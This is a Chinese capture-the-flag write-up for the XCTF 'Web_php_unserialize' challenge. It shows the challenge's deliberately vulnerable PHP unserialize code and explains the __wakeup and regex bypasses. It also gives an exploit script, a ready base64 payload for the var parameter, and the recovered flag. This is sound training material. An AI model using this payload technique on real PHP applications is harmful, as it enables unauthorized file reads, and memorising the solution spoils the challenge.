攻防世界 Web_php_unserialize

  • wakeup绕过
    • 正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
  • <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:\d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?
    
  • 分析
    • 全局只有一个 Demo 类,思路就是控制 $file 为 fl4g.php ,利用 __destruct 读出文件。由于反序列化不会触发 __construct ,所以这里忽略 __construct。而 __wakeup 直接钉死了 $file,所以使用增加属性值的方法绕过。
    • 接着是 exp 构造,正则匹配形如 O:4: 这样的字符串,用 O:+4: 绕过,接着再 base64 编码一下即可。私有属性直接在类里面修改就可。
  • exp

    ```php
    <?php
    class Demo
    {
        private $file = 'fl4g.php';
    }
    $exp1 = new Demo();
    $a = serialize($exp1);
    $a = str_replace('O:4:"Demo":1:', 'O:+4:"Demo":3:', $a);
    echo  $a;
    echo "\n";
    echo base64_encode($a);
    ```
    
    • ?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
    • 获得flag
    • <?php
      $flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
      ?>
      
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值